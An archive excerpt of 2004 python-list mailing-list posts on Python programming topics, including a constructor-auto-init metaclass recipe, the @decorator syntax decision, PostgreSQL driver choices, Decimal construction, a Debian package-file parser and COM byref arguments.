Alex Martelli <aleaxit at yahoo.com> wrote:
   ...
> > Anyway, in C++, if I write a library with a class like Class1, I can create
> > a default constructor to initialize all the members with default values if
> > there is no need for non-default values.  C++ gives me that possibility.  A
> > user of my library (who will never know me) can use this library and does
> > not need to know anything about the Class1 constructor.  This is consistent

Sure DOES "have to know something about Class1 constructor":
specifically that Class1 has a public default constructor, a crucial
piece of information.  How CAN you POSSIBLY assert otherwise?!

> > with the principle of encapsulation, so subclasses don't need to know
> > anything about how the superclass is implemented.
> 
> Encapsulation does not mean you can use a class without knowing its
> public methods (including constructors).  In particular, inheritance is
> a strong coupling, and the superclass must document if it's meant to be
> inherited from, with what constructors, what virtual methods allowable
> for override, and so on.

Incidentally, FAR from your assertion that, in C++, "subclasses don't
need to know anything about how the superclass is implemented", reality
is just the other way 'round.  Subclasses have to be _intimately
familiar_ with key aspects of superclasses' implementation -- not just
the interface (which fully includes the "little detail" of whether a
class has a default ctor or not!!!), but specifically _implementation_
issues, such as what private member names the superclass uses for its
own implementation purposes.  That's because C++ fatally tries to
support encapsulation via _accessibility_, NOT through _visibility_.  If
the subclass unwittingly tries using a member name which the superclass
is already using privately, it just won't compile; if the superclass
adds any private names to its implementation from one release to
another, it will "break all user code" which quite correctly tried to
use that name (and previously managed w/o problems!) for one of its
members -- as you say.  *THIS* is poor encapsulation (Python's attempt
to solve this issue with __-mangling doesn't work wonders, though it's
[a little] better than nothing -- but this should show that the issue of
coupling between superclass and subclass is far more serious than you
imply by asserting that it's solved by C++'s "implicit" rule that if no
other call to a superclass's ctor appears with a subclass's ctor, this
implies a call to the subclass's default ctor).


> > I think this IS a case where "implicit is better than explicit".
> 
> No way: by implicitly trying to call a parent class's default ctor in
   ...
> maybe I'll find the time to take a break and show you the custom
> metaclass you need to perpetrate this horror, since you state it's
> "better" than Python's explicitness -- no promises tho...

Here it is -- now feel free to damage yourself at will with your
conviction that this (calling superclass ctors) "IS a case" where
implicit is better.  I decided I can reuse this as a Cookbook recipe,
after all!-)

As an aside, note that, while Python doesn't _quite_ "give you enough
rope to shoot yourself in the foot" by default, it sure provides
excellent rope-manufacturing facilities, sufficient to riddle both of
your feet with bullets with the addition of *a few lines* of support
code...:

def _no_auto(obj): pass

class metaAutoInit(type):

    def __call__(cls, *a, **k):
        obj = cls.__new__(cls, *a, **k)
        for base in cls.mro():
            base.__dict__.get('__auto__', _no_auto)(obj)
        cls.__init__(obj, *a, **k)
        return obj

You could save a statement if you wished to have __auto__ methods called
after __init__ methods (if any) -- then, rather than the two statements,
one to call __new__ and make the empty obj (before calling __auto__
methods), the other after such calling to do the __init__, you could
make an already-inited obj with "obj=type.__call__(cls, *a, **k)" at the
start.  But I suspect one would want the auto-initialization to happen
before the explicit one, if any, so I showed how to do that.  Anyway, be
it 8 nonblack lines like here, or 7 otherwise, I hope you agree it's a
_trivially little amount of code_ for this amount of meta-functionality,
and the amount of damage (if I'm right) or benefit (if you're right) it
can bring to your Python usage.

In this recipe, __auto__ methods are called on classes in MRO order,
i.e., leaf first.  Don't like that, want reverse-MRO order?  Fine,
change the 'for' header to loop on cls.mro()[::-1], or, in Python 2.4,
on the more readable reversed(cls.mro()).

This metaclass is designed to silently tolerate base classes without
__auto__, treating such absence as an indication that a given class
wants no auto-initialization -- I think it's the only sensible choice,
but if you disagree, add to the metaclass a def __new__ where it screams
and shouts if a class belonging to it has no '__auto__' in its class
dictionary, or if that __auto__ has incorrect signature (check the
signature with the functions of standard library module inspect) --
better to do that at class-statement time than every time the class gets
instantiated (unless you suspect the user will delight in silently
deleting __auto__ entries from class objects at runtime, of course...).

Ah, one last note: we have to use base.__dict__ here, not getattr, else
a class without __auto__ might inherit __auto__ from a superclass and
that __auto__ would end up getting executed twice, which is probably not
what one normally wants.

Anyway, here's an example of using this custom metaclass:

if __name__ == '__main__':  # just show off a bit...
    __metaclass__ = metaAutoInit

    class a: pass

    class b:
        def __auto__(self): self.foo=[]

    class c(a):
        def __auto__(self): self.bar={}

    class d: pass

    class e(b, c, d):
        def __auto__(self): self.baz=c()

    z = e()
    print z.__dict__

This emits:

{'bar': {}, 'foo': [], 'baz': <__main__.c object at 0x58350>}


There, happy now?  Be as implicit as you desire, as long as I don't ever
have to be the one maintaining that code or consulting about it -- I've
served my term with C++, and finally emerged in the bright and fresh
land of Python, where simplicity, explicitnes, and clarity are VIRTUES.
(My wife agrees to the point that we had the Zen of Python among the
readings at our recent wedding, as I mentioned [with a pointer to the
URLs for our marriage readings & photos] in a recent thread...).


Alex


From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Sat Sep 18 03:25:19 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Sat, 18 Sep 2004 09:25:19 +0200
Subject: Database->python->Xml->Xslt->Client
References: <4c900ea0.0409172237.3e5abf25@posting.google.com>
Message-ID: <cigqq6$mnp$1@news-reader5.wanadoo.fr>

Hi ! 

It is an architecture "en vogue" ; but AMHA, XML is verbose.

@-salutations
-- 
Michel Claveau


From jepler at unpythonic.net  Mon Sep 13 08:39:46 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 13 Sep 2004 07:39:46 -0500
Subject: 'telegraphy' as a means of data entry
In-Reply-To: <ci1jrg$6fd$1@sea.gmane.org>
References: <S-ydnXbZkPyO0NncRVn-jg@powergate.ca> <ci1jrg$6fd$1@sea.gmane.org>
Message-ID: <20040913123946.GG20186@unpythonic.net>

On Sun, Sep 12, 2004 at 03:44:03PM +0200, Fredrik Lundh wrote:
> also note that unlike Peter's example, the time attribute contains
> the time when the event was generated, not when it reached your
> program.

Beware!  In at least some old versions of Tk, the Windows version used a
function TkpGetMS to find the timestamp for an event, and TkpGetMS calls
GetTickCount(), which as far as I can tell from the documentation is the
wall time now, not when the event was generated.

In fact, this code still seems to be in the HEAD revision of tkWinX.c.
Well, it's my own fault for only fixing the bug locally, not filing any
kind of bug report with the tcl/tk people.

Jeff
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20040913/60684507/attachment.sig>

From xv0017python at yahoo.com  Sat Sep 18 14:19:35 2004
From: xv0017python at yahoo.com (andresm)
Date: Sat, 18 Sep 2004 14:19:35 -0400
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
Message-ID: <cihu96$iaq$1@sea.gmane.org>

Peter Otten wrote:

> I took the freedom to forward GvR's mail concerning decorator cosmetics.
> I think you should know about it.
> 
> Peter
> 
> ----------  Forwarded Message  ----------
> 
> Subject: [Python-Dev] Strawman decision: @decorator won't change
> Date: Wednesday 15 September 2004 23:46
> From: Guido van Rossum <gvanrossum at gmail.com>
> To: Python-Dev <python-dev at python.org>
> 
> Anthony Baxter asked me for a pronouncement on whether @decorator will
> change to use some other character instead; I kept this open as a
> possibility before 2.4b1 (which is tentatively scheduled for Oct 7th).
> Given the near-complete silence following my rejection of the J2
> alternative proposal, I don't expect there to be a massive popular
> movement to change the character, but I admit I haven't looked for
> responses outside python-dev.
> 
> Let's plan on doing the following. If in the next 7 days there's no
> indication that some group of users wants to rally for a different
> character, the decision to keep @ is made final on Sept 23. To change
> the character, somebody will need to start rallying for a different
> character, and be able to show signs of significant support by that
> date.
> 
> The definition of "significant support" is intentionally left open for
> interpretation, I'll review the evidence on the 23rd.
> 
> --
> --Guido van Rossum (home page: http://www.python.org/~guido/)
> 

i realy like the @ sintax, i am a newbie , btw




From alban at magproductions.nl  Tue Sep 21 09:55:36 2004
From: alban at magproductions.nl (Alban Hertroys)
Date: Tue, 21 Sep 2004 15:55:36 +0200
Subject: Psycopg and threads problem
In-Reply-To: <mailman.3575.1095697021.5135.python-list@python.org>
References: <cimj9q$7jr$1@netlx020.civ.utwente.nl>	<0fidnS729Ln4bdPcRVn-hQ@giganews.com>	<414EF5BC.9010002@magproductions.nl>
	<mailman.3575.1095697021.5135.python-list@python.org>
Message-ID: <415032D8.7020207@magproductions.nl>

Ken Godee wrote:
> I would probally pass a queue instance to the worker threads
> and in the main thread create a timer method/function that periodically 
> checks the queue.
> 
> When the worker thread is done doing its thing, do a commit and 
> queue.put('done')
> 
> When the main thread checks the queue.get(0) = 'done'
> have it do it's thing.
> 
> This is the beauty of queues.

Apparently I missed the point of queues. I will have a look at them again.

Thread programming makes twisted minds, I suspect. ;)


From me at privacy.net  Sat Sep 25 13:17:15 2004
From: me at privacy.net (Richard Hanson)
Date: Sat, 25 Sep 2004 10:17:15 -0700
Subject: Module Pygame - "FadeOut" text
References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135>
	<mailman.3868.1096052483.5135.python-list@python.org>
Message-ID: <8f8bl01m2h3dt2gplj3fb3raojjpemt2i3@4ax.com>

Terry Reedy wrote:

> "Askari" <askari at addressNonValide.com> wrote in message 
> news:Xns956E4F8F8C192askariaddressNonVali at 207.35.177.135...
> > (Help for Pygame module)
> 
> There is a separate mailing list for Pygame, a third-party package.
> It can be accessed as a newsgroup via news.gmane.org
> as gmane.comp.python.pygame.

Is it possible that the OP is missing that news.gmane.org *is* a
newsserver?

I'm not quite able to divine his objection to the repeated quite civil
and helpful suggestions from you and others -- nor can I deduce his
definition of "mail list." 

(No need to reply to this post; I'm merely trying to understand the
OP's difficulties...?)


Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From http  Sun Sep  5 17:27:45 2004
From: http (Paul Rubin)
Date: 05 Sep 2004 14:27:45 -0700
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
Message-ID: <7xpt50v226.fsf@ruckus.brouhaha.com>

"Donn Cave" <donn at drizzle.com> writes:
> I expect it's used relatively infrequently, and for different
> reasons.  "if len(info) == 5", for example - just from that
> line from a relatively popular Python application, would you
> guess info is a list, or a tuple?

if I say:

   def f(*args):
       print len(args)

I'd certainly expect to receive args as a tuple, and would still want
to be able to find its length.


From bradtilley at usa.net  Wed Sep 15 14:35:20 2004
From: bradtilley at usa.net (Brad Tilley)
Date: Wed, 15 Sep 2004 14:35:20 -0400
Subject: See exactly what a function has returned
In-Reply-To: <mailman.3380.1095273011.5135.python-list@python.org>
References: <ci9tfk$71t$1@solaris.cc.vt.edu>	<tr6dnRbHkq4J5tXcRVn-gQ@powergate.ca>
	<ci9u7e$7u0$1@solaris.cc.vt.edu>	<4a0cafe204091510512fc955f9@mail.gmail.com>
	<mailman.3380.1095273011.5135.python-list@python.org>
Message-ID: <41488B68.5050101@usa.net>

Peter Grayson wrote:
> This function does not do what you are expecting; type(function) does
> not return the type that function returns, it returns the type of the
> object passed in.
> 
> def foo():
>   return 42
> 
> 
>>>>print foo
> 
> <function foo at 0xf6f888ec>
> 
>>>>print type(foo)
> 
> <type 'function'>
> 
> Because Python is a dynamically typed language, it is not possible for
> the interpreter to know what type of object a function returns without
> executing it. In fact, it is possible for a function to return
> different kinds of things. For example:
> 
> def bar(x):
>   if x == 0:
>     return 42
>   elif x== 1:
>     return "Forty-two"
>   else:
>     return None
> 
> In a statically typed language, like C, we neccessarily know what type
> of thing is returned and we know it at compile-time. In Python, the
> type of the returned object is only bound at run-time. In practice,
> this means that we usually have to "just know" what a function returns
> by knowing the intended semantics of the function. That said, you
> could write a function like this that tells you about the return type
> of a function for a given invocation of that function ...
> 
> def characterize(f, *args):
>   r = f(*args)
>   print type(r)
> 
> 
>>>>characterize(bar, 0)
> 
> <type 'int'>
> 
>>>>characterize(bar, 1)
> 
> <type 'str'>
> 
>>>>characterize(bar, 2)
> 
> <type 'NoneType'>
> 
> Hope this helps.
> 
> Pete

Yes, it was very helpful. Thanks Pete.


From aahz at pythoncraft.com  Thu Sep 23 15:08:53 2004
From: aahz at pythoncraft.com (Aahz)
Date: 23 Sep 2004 15:08:53 -0400
Subject: Why not FP for Money?
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
Message-ID: <civ705$4kl$1@panix1.panix.com>

In article <mailman.3781.1095942759.5135.python-list at python.org>,
Carlos Ribeiro  <carribeiro at gmail.com> wrote:
>
>PEP327 also does mention it:
>
>http://www.python.org/peps/pep-0327.html#explicit-construction:
>"""
>So, the accepted solution through c.l.p is that you can not call
>Decimal with a float.
>"""
>
>So, in order to construct a Decimal, I need to write something like:
>
>>>> a = decimal.Decimal('35.72')
>>>> b = decimal.Decimal('1.73')
>>>> a+b
>Decimal("37.45")

Not sure of precise syntax (haven't tried 2.4 yet), but this should
work:

    a = decimal.from_float(35.72)
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From firstname at lastname.pr1v.n0  Thu Sep  9 11:17:15 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Thu, 9 Sep 2004 17:17:15 +0200
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<uisaoutfz.fsf@mail.comcast.net>
	<slaphc.beh1.ln@via.reistad.priv.no>
	<u1xhbv9s3.fsf@mail.comcast.net>
Message-ID: <r5sphc.a4l1.ln@via.reistad.priv.no>

In article <u1xhbv9s3.fsf at mail.comcast.net>,
Anne & Lynn Wheeler  <lynn at garlic.com> wrote:
>Morten Reistad <firstname at lastname.pr1v.n0> writes:
>> It was an upgrade from 56k. The first versions of NSFnet was not
>> really scalable either; noone knew quite how to design a erally
>> scalable network, so that came as we went.
>
>we had a project that i called HSDT
>http://www.garlic.com/~lynn/subnetwork.html#hsdt 
>
>for high-speed data transport ... to differentiate from a lot of stuff
>at the time that was communication oriented ... and had real T1 (in
>some cases clear-channel T1 w/o the 193rd bit) and higher speed
>connections. It had an operational backbone ... and we weren't allowed
>to directly bid NSFNET1 .... although my wife went to the director of
>NSF and got a technical audit. The technical audit summary said
>something to the effect that what we had running was at least five
>years ahead of all NSFNET1 bid submissions to build something new.

In 1987 T1's(or E1's in this end of the pond)  were pretty normal; 
T3's was state of the art. But it is not very difficult to design
interfaces that shift the data into memory; and 1987'is cumputers
could handle a few hundred megabit worth of data pipe without too
much trouble; but you needed direct DMA access, not some of the
then standard busses or channels.

IBM always designed stellar hardware for such things; what was 
normally needed was the software. To see what Cisco got away with
regarding lousy hardware (GS-series) is astonishing. 

There was a large job to be done to handle routing and network
management issues. BGP4 didn't come out until 1994, nor did 
a decent OSPF or SNMP. 

>one of the other nagging issues was that all links on the internal
>network
>http://www.garlic.com/~lynn/subnetwork.html#internalnet
>
>had to be encrypted. at the time, not only were there not a whole lot
>of boxes that supported full T1 and higher speed links ... but there
>also weren't a whole lot of boxes that support full T1 and higher
>speed encryption.

If you could do it hardware-assisted you could do T1s in 1987; but
in software you would have had large problems.

>a joke a like to tell ... which occured possibly two years before the
>NSFNET1 RFP announcement ... was about a posting defining "high-speed"
>.... earlier tellings:
>http://www.garlic.com/~lynn/94.html#33b High Speed Data Transport (HSDT)
>http://www.garlic.com/~lynn/2000b.html#69 oddly portable machines
>http://www.garlic.com/~lynn/2000e.html#45 IBM's Workplace OS (Was: .. Pink)
>http://www.garlic.com/~lynn/2003m.html#59 SR 15,15
>http://www.garlic.com/~lynn/2004g.html#12 network history

-- mrr


From peter at engcorp.com  Sat Sep 25 21:54:46 2004
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Sep 2004 21:54:46 -0400
Subject: regular expression for integer and decimal numbers
In-Reply-To: <f23116.0409251213.6fcee6c5@posting.google.com>
References: <f23116.0409231651.7aeb19c0@posting.google.com>
	<pbadnZrDHOinY87cRVn-jg@powergate.ca>
	<f23116.0409251213.6fcee6c5@posting.google.com>
Message-ID: <jfudnfjxPYD6vMvcRVn-uw@powergate.ca>

gary wrote:
> Peter Hansen <peter at engcorp.com> wrote in message news:<pbadnZrDHOinY87cRVn-jg at powergate.ca>...
>>Examples, including the most extreme cases you want to handle,
>>are always a good idea.
> 
> Here is an example of what I will be dealing with:
> """
> TOTAL FIRST DOWNS                                     19        21
>    By Rushing                                         11         6
>    By Passing                                          6        10
>    By Penalty                                          2         5
> THIRD DOWN EFFICIENCY                           4-11-36%  6-14-43%
> FOURTH DOWN EFFICIENCY                            0-1-0%    0-0-0%
> TOTAL NET YARDS                                      379       271
>    Total Offensive Plays (inc. times thrown passing)  58        63
>    Average gain per offensive play                   6.5       4.3
> NET YARDS RUSHING                                    264       115
> """
> 
> I can only hope that they were nice and put a leading zero in front of
> numbers less than 1.

Good example of the input.  Now all you need to do is tell
us exactly what kind of output you would expect to come
from the routine which you seek. ;-)

-Peter


From chrisks at NOSPAM.udel.edu  Sun Sep 19 19:28:26 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Sun, 19 Sep 2004 23:28:26 GMT
Subject: PyYaml?
In-Reply-To: <4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>
References: <2IO2d.1086$HH5.1025@trndny05> <87r7oyfy78.fsf@blakie.riol>
	<l3c3d.1327$HH5.1125@trndny05>
	<4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>
Message-ID: <uCo3d.4230$4j1.460@trndny06>

Andrew Dalke wrote:

> YAML and pickles address two different but related domains.
> Pickle attempts to serialize and deserialize arbitrary
> Python data structures.  YAML serializes a subset of the
> data structures that can be made portable, with it seems
> some hooks for new datatypes.
> 
> Here's a test.  Can you do the following in YAML and do
> so securely?  (Untested code.)

[snip code]

Conceptually, yes. That code would work fine with a full YAML 
implementation. Admittedly, the current pure-Python implementation is 
not yet complete. I didn't mean to imply that the current YAML 
implementations were drop-in replacements for Pickle, only that the 
concept of YAML is deserving of more attention.


From aleaxit at yahoo.com  Mon Sep  6 03:34:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 09:34:03 +0200
Subject: Tuple question
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpkf1d5433nmu@news.cisco.com>
	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
	<mailman.2775.1094145196.5135.python-list@python.org>
	<donn-8ED685.11274102092004@gnus01.u.washington.edu>
	<1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com>
	<1094359182.57429@yasure>
	<roy-FE1D07.08200705092004@reader1.panix.com>
	<chf1e4$u84$03$1@news.t-online.com>
	<roy-D04C66.10354305092004@reader1.panix.com>
	<1gjnwv2.jj0hvbov5tc1N%aleaxit@yahoo.com>
	<413BC4DA.9050401@cosc.canterbury.ac.nz>
Message-ID: <1gjoqbo.1pz7pzna0noqlN%aleaxit@yahoo.com>

greg <greg at cosc.canterbury.ac.nz> wrote:

> Alex Martelli wrote:
> > Roy Smith <roy at panix.com> wrote:
> >
> > > Tuple (and string) equality is based on content too.  So what?  I can
> > > give my data class an __eq__ method, and then my class instance equality
> > > would also based on content.
> > 
> > And your class's instances wouldn't then be hashable any more unless
> > they defined a __hash__ method -- have you tried?
> 
> And even if you did give it a __hash__ method, you wouldn't
> be able to get it to work properly as a dict key. It's an
> inescapable fact of the way dicts work.

Well, it depends on how you define 'properly'.  Semantics CAN be
respected, it's _performance_ that may disappoint;-).


> > > So, to restate my original question, why should my mutable, 
> > > content-based-eqality class instance be a valid dictionary key,
>  > > when a list is not?
> 
> It wouldn't be a valid dictionary key. You might be able to fool
> Python into accepting it, but it would malfunction.

It might be made to function, just VERY slowly:

    def __hash__(self): return 42

Containing this will make ANY class hashable no matter what.  But you'd
better buy a new and very fast machine if you're gonna use multiple
instances of such a class to key into a dictionary...;-)


Alex


From ed-no at spam-eepatents.com  Mon Sep  6 18:55:30 2004
From: ed-no at spam-eepatents.com (Ed Suominen)
Date: Mon, 06 Sep 2004 15:55:30 -0700
Subject: ANN: WxInter
Message-ID: <IKCdnbjCsZtWd6HcRVn-qQ@centurytel.net>

WxInter is a drop-in replacement for TkInter, providing user-transparent
wxPython-based replacements for each and every part of the Tkinter class
library. Because wxPython can do anything that the ancient and stagnant
TkInter can do (but with a themable, modern window appearance), legacy code
will still run, looking better than ever, and Python's last connection to
the Tcl/TK albatross will be forever broken.

OK, I just made all this up. But why couldn't it happen? I'd even be tempted
to code it myself, but I'm sure others with some wxPython experience could
do it much faster and better.

---
Ed Suominen
Registered Patent Agent
Open-Source Software Author (yes, both...)
Web Site: http://www.eepatents.com


From don't at spam.me  Wed Sep  8 21:14:07 2004
From: don't at spam.me (John Bauman)
Date: Wed, 8 Sep 2004 21:14:07 -0400
Subject: A historical question
References: <chmphe$21tc$1@ulysses.noc.ntua.gr>
	<Xns955E8441C8304duncanrcpcouk@127.0.0.1>
Message-ID: <96acnXjt1cUtM6LcUSdV9g@ptd.net>


"Duncan Booth" <duncan.booth at invalid.invalid> wrote in message 
news:Xns955E8441C8304duncanrcpcouk at 127.0.0.1...
> Jerald <jfj at freemail.gr> wrote in news:chmphe$21tc$1 at ulysses.noc.ntua.gr:
>
<snip original post>
>
> According to Google, in April 1994 Guido posted complaining about some of 
> the
> inefficiencies in the bytecode interpreter:
>
> http://groups.google.co.uk/groups?selm=9404120719.AA03729%3Dguido%40voorn.cwi.nl
>
> I doubt very much whether there has ever been any implemention of Python 
> that
> didn't use a bytecode of some form. It would be a very perverse way to try 
> to
> write a language.

>From some things I read about Parrot, I'm under the impression that Ruby 
(and Perl, partially) don't (yet) use bytecodes (at least internally - they 
may be used as an external representation).  Instead, the program is parsed 
into an abstract syntax tree and the program is interpreted by walking the 
tree.  See http://en.wikipedia.org/wiki/Interpreted_language . The same 
method would probably work with Python. 




From ismaelherreragasser at hotmail.com  Wed Sep 22 23:06:02 2004
From: ismaelherreragasser at hotmail.com (Ismael Herrera)
Date: Wed, 22 Sep 2004 23:06:02 -0400
Subject: newbie evaluation
Message-ID: <citeje$mr8$1@sea.gmane.org>


Hi , i am new to python , and this is my first wanna-be program, it would
help me a lot if you point me my mistakes or bad design, bad practice or an
easier , faster ,cleaner or better way to program since dont want to stick
with bad practices.

The point of the mini program is to store the debian package database(wich
is in a file) in a list of objects instead of just text , for easy
manipulation. 

Later i will transform it to xml then to database schema,to make advances
queries against the package manager,but thats later.(not in this app)

The database file is a serie of entries(packages) that looks like this:

Package: tcpd
Priority: important
Section: base
Installed-Size: 196
Maintainer: Anthony Towns <ajt at debian.org>
Architecture: i386
Source: tcp-wrappers
Version: 7.6.dbs-5
Replaces: libwrap0 (<< 7.6-8)
Depends: libc6 (>= 2.3.2.ds1-4), libwrap0 (>= 7.6-1.1), debconf (>= 0.5) |
debconf-2.0
Conflicts: netbase (<< 3.16-1)
Size: 71974
Description: Wietse Venema's TCP wrapper utilities
 Wietse Venema's network logger, also known as TCPD or LOG_TCP.
 .
 These programs log the client host name of incoming telnet,
 ftp, rsh, rlogin, finger etc. requests. Security options are:
 access control per host, domain and/or service; detection of
 host name spoofing or host address spoofing; booby traps to
 implement an early-warning system.

each package is separated by a \n\n. 
Dont forget to copy/paste it in your text editor for easy reading   

#!/usr/bin/python
import re
#each package in the file
class dpackage(object):
  
  PKG = 'Package'
  PRI = 'Priority'
  SEC = 'Section'
  INS = 'Installed-Size'
  MAI = 'Maintainer'
  ARQ = 'Architecture'
  VER = 'Version'
  DEP = 'Depends'
  REQ = 'Recommends'
  SIZ = 'Size' 
  DES = 'Description'

  def __init__(self):
    
    self.package = None
    self.priority = None
    self.section = None
    self.installedSize = None
    self.mainteiner = None 
    self.arquitecture = None
    self.version = None
    self.depends = []
    self.recoments = []
    self.size = None
    self.description = None
    
  def __str__(self):
    return '''
Package = %s
Priority = %s
Section = %s
Installed Size = %s
Mainteiner = %s
Arquitecture = %s
Version = %s
Depends = %s
Recoments = %s
Size = %s
Description = %s
    ''' % \
  (self.package,self.priority,self.section,self.installedSize,
   self.mainteiner,self.arquitecture,self.version,self.depends,
   self.recoments,self.size,self.description)
          
   
class dpackagedb(object):
    
  def _init__(self):

    self.db = []
  
  def load(self):
    
    try :
      
      #open the database file   
      f = open('/var/lib/dpkg/available','r')
      
    except : raise IOError
    
    #temporary list to store package entries
    tmpls = f.read().split('\n\n') 
    #make package objects for each package
    self.db = map(self.makeobject,tmpls) 
    
    del self.db[len(self.db)-1]
    
    f.close()
  
  def makeobject(self,item):
    
    p = dpackage()
    
    entry = self._processitem(item)

    p.package = entry.get(dpackage.PKG)
      
    p.priority = entry.get(dpackage.PRI)
      
    p.section = entry.get(dpackage.SEC)
    
    p.installedSize = entry.get(dpackage.INS)
    
    p.mainteiner = entry.get(dpackage.MAI)
    
    p.arquitecture = entry.get(dpackage.ARQ)
    
    p.version = entry.get(dpackage.VER)
    
    p.depends = entry.get(dpackage.DEP) 
    
    p.recoments = entry.get(dpackage.REQ) 
    
    p.size = entry.get(dpackage.SIZ)
    
    p.description = entry.get(dpackage.DES)
    
    return p   


  def _processitem(self,item):

    result = []

    iter = re.finditer('.*\n',item) 
    for x in iter : 
      xstr = x.group()
      if xstr.startswith('Description'):
        # get from description to the end(exceptional case)
        result.append(item[x.start():]) 
        break   
      else : 
        result.append(xstr.strip()) # normal field
    # get field : value pairs    
    result = dict([ item.split(':',1) for item in result])  
    
    # exceptional case
    recommends = result.get('Recommends')
    if recommends:result['Recommends'] = recommends.split(',')
    
    # exceptional case
    depends = result.get('Depends')
    if depends : result['Depends'] = depends.split(',')

    return result
    

  

#if __name__ is '__main__': 
#test  
d = dpackagedb() 
d.load()
for x in d.db: 
  if x: 
    print x  
 #print d.db



From roy at panix.com  Sun Sep  5 23:06:17 2004
From: roy at panix.com (Roy Smith)
Date: Sun, 05 Sep 2004 23:06:17 -0400
Subject: Fastest way to loop through each digit in a number?
References: <ssjnj01agata9qtsn414740sml1kc2em49@4ax.com>
Message-ID: <roy-324A3B.23061705092004@reader1.panix.com>

In article <ssjnj01agata9qtsn414740sml1kc2em49 at 4ax.com>,
 Rune Strand <rst at _nospam_.drlug.org._nospam_> wrote:

> Hi,
> If I have a lot of integers and want do something with each digit as
> integer, what is the fastest way to get there? 
> 
> Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345"

Does it matter what order you process the digits, i.e. least-significant 
first vs. most-significant first?  If you can do least first, then you 
might be best off doing something straight-forward like:

i = 12345
while i:
    digit = i % 10
    i = i / 10
    print digit

although, with the new-style division, I'm not sure if you want / or //.


From clifford.wells at comcast.net  Sat Sep 11 05:32:30 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sat, 11 Sep 2004 02:32:30 -0700
Subject: Postgresql - Preferred Python Library
In-Reply-To: <j855k0l6a5k1mm6usco0tevrk50t5u6oat@4ax.com>
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<mailman.3128.1094781255.5135.python-list@python.org>
	<j855k0l6a5k1mm6usco0tevrk50t5u6oat@4ax.com>
Message-ID: <1094895150.26967.11.camel@devilbox.devilnet.internal>

On Fri, 2004-09-10 at 23:04 -0700, Tim Roberts wrote:
> Cliff Wells <clifford.wells at comcast.net> wrote:
> >On Thu, 2004-09-09 at 16:21, Graeme Matthew wrote:
> >> 
> >> I have noticed that there are a numbe rof client libraries for connecting to 
> >> Postgres.
> >> 
> >> Can anyone tell me what is the recommended Python library for database 
> >> connections
> >
> >I'd strongly recommend psycopg.  I've used both psycopg and the pgsql
> >module and found psycopg to be much more stable. 
> 
> So have I, and I wish I could quantify the difference.  It's not like
> pyPgSQL crashes on me every day, but there's something intangible about
> psycopg that appeals to me.  I've switched to it everywhere.

My tangible difference was that a script I have that inserts about
40,000 records into a table (as a single transaction) could never
complete (hard crash) with the standard pgsql module but completes
without a hitch with psycopg.  Other than that I don't have a problem
with it <wink>.

Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From vng1 at mac.com  Sat Sep 25 11:05:09 2004
From: vng1 at mac.com (vng1 at mac.com)
Date: Sat, 25 Sep 2004 11:05:09 -0400
Subject: Win32-COM pass by ref for long arguments
In-Reply-To: <wg%4d.1074$JG2.328@newssvr14.news.prodigy.com>
References: <a8bfd74c.0409241205.460f9510@posting.google.com>
	<wg%4d.1074$JG2.328@newssvr14.news.prodigy.com>
Message-ID: <4B2816D8-0F04-11D9-8A90-000A95C5186E@mac.com>

I figured it out eventually.  It wasn't  clear from any of the 
Python/COM documentation that pass byref variables are returned as 
'extra' values in the return value.

So a COM function like:

Function OpenTable(ByRef hTableRef As Long, ByVal TableNo As Long) As 
Boolean

becomes translated to this:

def OpenTable( discardedhTableRef, tableNo):
	# COM bridge does stuff here
	return (boolResult, hTableRef)

Well - it wasn't obvious to _me_ anyway.

vic

On 24-Sep-04, at 04:16 PM, Stephen Prinster wrote:

> Victor Ng wrote:
>> My call is using an initial value of pythoncom.Empty for hTableRef,
>> but I'm getting the following stacktrace from within the PythonCOM
>> library:
>>
> Have you tried pythoncom.Missing instead of pythoncom.Empty?  I don't 
> know what the difference is, but I remember seeing a comment in a 
> makepy-generated file about trying both because sometimes one works 
> better than the other.
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>
